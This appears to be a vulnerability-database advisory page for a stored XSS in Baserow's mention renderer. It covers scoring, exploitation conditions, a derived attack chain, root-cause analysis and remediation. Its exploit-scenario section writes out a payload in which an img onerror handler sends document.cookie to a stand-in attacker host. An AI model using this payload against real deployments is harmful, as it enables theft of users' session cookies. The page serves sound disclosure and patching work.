Skip to main content

Baserow CVE-2026-76837

| EUVDEUVD-2026-65009 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-24 VulnCheck GHSA-6jjx-jh3j-cxqj
5.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker registers or joins target workspace at minimum privilege level
  2. Delivery
    Attacker sets first_name to HTML/JS payload via PATCH /api/user/account/
  3. Exploit
    Any workspace member creates a rich-text mention of the attacker's account
  4. Execution
    Mention renderer interpolates unescaped name into v-html-rendered span
  5. Persist
    Injected script executes in victim's browser on table load
  6. Impact
    Attacker exfiltrates session tokens or performs actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid Baserow account within the target workspace; the lowest permission level (such as viewer or commenter) is explicitly sufficient - no administrative or elevated role is required. Beyond the attacker's account, at least one other workspace member must have created a rich-text cell containing a mention of the attacker's account (typing @attacker-name) in any table the workspace has access to. Once this mention exists, the payload fires automatically for every workspace member who loads the table - no click, link-following, or other deliberate victim action is needed (confirmed by UI:N in the CVSS 4.0 vector). The payload persists until the attacker's first_name is changed back to a safe value or the row containing the mention is deleted. Exploitation is limited to workspaces where the attacker holds membership and where rich-text fields are in use; plain-text field types are not vulnerable to this path. Self-hosted deployments with a Content Security Policy that blocks inline scripts or restricts script-src would prevent JavaScript execution but not HTML injection.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) accurately reflects the attack mechanics: network-reachable, low complexity, requiring only a low-privileged workspace account and no victim interaction. The PR:L metric confirms authentication is required, but at the absolute minimum membership level. The UI:N designation is operationally significant - unlike reflected or click-triggered XSS, this payload fires passively for every user who loads a table containing the poisoned mention, making it a broadcast attack. The CVSS 5.3 Medium score somewhat underrepresents real-world priority: stored XSS with zero-click, workspace-wide delivery is materially more dangerous than typical reflected XSS at the same score. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, meaning active exploitation is unconfirmed. The SSVC exploitation status is therefore 'none identified,' though the low attack complexity and self-service payload delivery make future exploitation feasible. Confidentiality and integrity impact are rated Low (VC:L/VI:L/SC:L/SI:L), consistent with typical stored XSS capability (session token theft, DOM manipulation, credential harvesting via fake UI), but these impacts are compounded by the persistent, workspace-wide scope.

Exploit ScenarioDerived

An attacker with the lowest-level membership in a Baserow workspace sets their account display name to a payload such as >"><img src=x onerror=fetch('https://attacker.example/c?t='+document.cookie)> via a direct API call to PATCH /api/user/account/. A colleague then types @attacker in any rich-text field cell, creating a persistent mention. Every subsequent workspace member who views that table automatically executes the injected script in their browser session, silently exfiltrating their session cookies or authentication tokens to the attacker's server with no clicks required.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Stored cross-site scripting in Baserow's rich-text mention renderer allows any authenticated workspace member - at the lowest permission level - to permanently inject and execute arbitrary scripts in the browsers of all other workspace members who view any table containing a mention of the attacker's account. The attack requires no victim interaction beyond passively loading the table view, and the payload persists until the attacker's display name is corrected or the offending row is deleted. No public exploit has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog; however, the zero-click broadcast delivery model makes this operationally more impactful than the CVSS 5.3 base score suggests for multi-tenant Baserow deployments.

RemediationAI

Upgrade to Baserow 2.3.0 or later, which introduces an escapeHtml() function in mention.js that replaces &, <, >, double-quote, and single-quote characters with their HTML entity equivalents before interpolating the display name into the mention span template. The fix is confirmed in commit a870dc0d38c9 (https://github.com/baserow/baserow/commit/a870dc0d38c9) and PR #5618 (https://github.com/baserow/baserow/pull/5618). For deployments unable to upgrade immediately, consider blocking the PATCH /api/user/account/ endpoint at the reverse proxy layer to prevent display name updates - this prevents new payloads but does not remove names already set, and it breaks the legitimate account-editing workflow for all users. Alternatively, audit the users database table for first_name values containing HTML special characters (double-quote, angle brackets) to identify accounts that may have already staged a payload and reset those names manually. Disabling rich-text field types in workspaces with untrusted members eliminates the rendering surface but removes collaborative rich-text functionality entirely. A Content Security Policy header with a strict script-src directive that disallows inline scripts would block JavaScript execution from injected payloads while preserving application function, and is the most operationally viable compensating control where a CSP can be deployed.

Affected VersionsENISA

Baserow 0 <2.3.0

Affected Packages

euvd baserow fix: 2.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Baserow is an open-source no-code collaborative database platform (CPE: cpe:2.3:a:baserow:baserow:*:*:*:*:*:*:*:*). The flaw resides in the mention rendering pipeline of its Vue.js web frontend. The account API endpoint (PATCH /api/user/account/) accepts and stores the first_name field verbatim without sanitization. In web-frontend/modules/core/editor/mention.js (confirmed at tag 2.2.2 via the referenced source blob), the parseMention function builds a <span> element using a JavaScript template literal that places user.name directly into both the data-label HTML attribute and the element text body without any HTML entity encoding. A double-quote character in the name closes the data-label attribute and the opening tag, injecting arbitrary HTML into the element content. The resulting markup string is then passed to Vue's v-html directive in rich-text field components, which renders raw HTML and bypasses Vue's normal template auto-escaping. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class: user-controlled data stored at write time is incorporated into an HTML rendering context without escaping at read time.

Know when Baserow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L because any workspace member account suffices; UI:R in 3.1 because the victim must navigate to the table page; S:C because attacker's payload executes in other users' browser sessions.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Baserow interpolates a user's display name into the rich-text mention markup without HTML encoding. PATCH /api/user/account/ stores the first_name value verbatim, and the mention renderer in web-frontend/modules/core/editor/mention.js builds its element with a template literal that places the name into a data-label attribute and the element body unescaped. A name containing a double quote closes that attribute and the opening tag, so following markup lands in the element content. The result is rendered through v-html by the rich-text field components, so any rich-text cell mentioning the account executes the stored script for every workspace member who views the table, without a click. Any workspace member, at the lowest permission level, can set the name and reach every other member of the workspace, and the payload persists until the name is changed or the mentioning row is removed. Version 2.3.0 escapes the value before interpolation.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
open-source niche no-code database, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy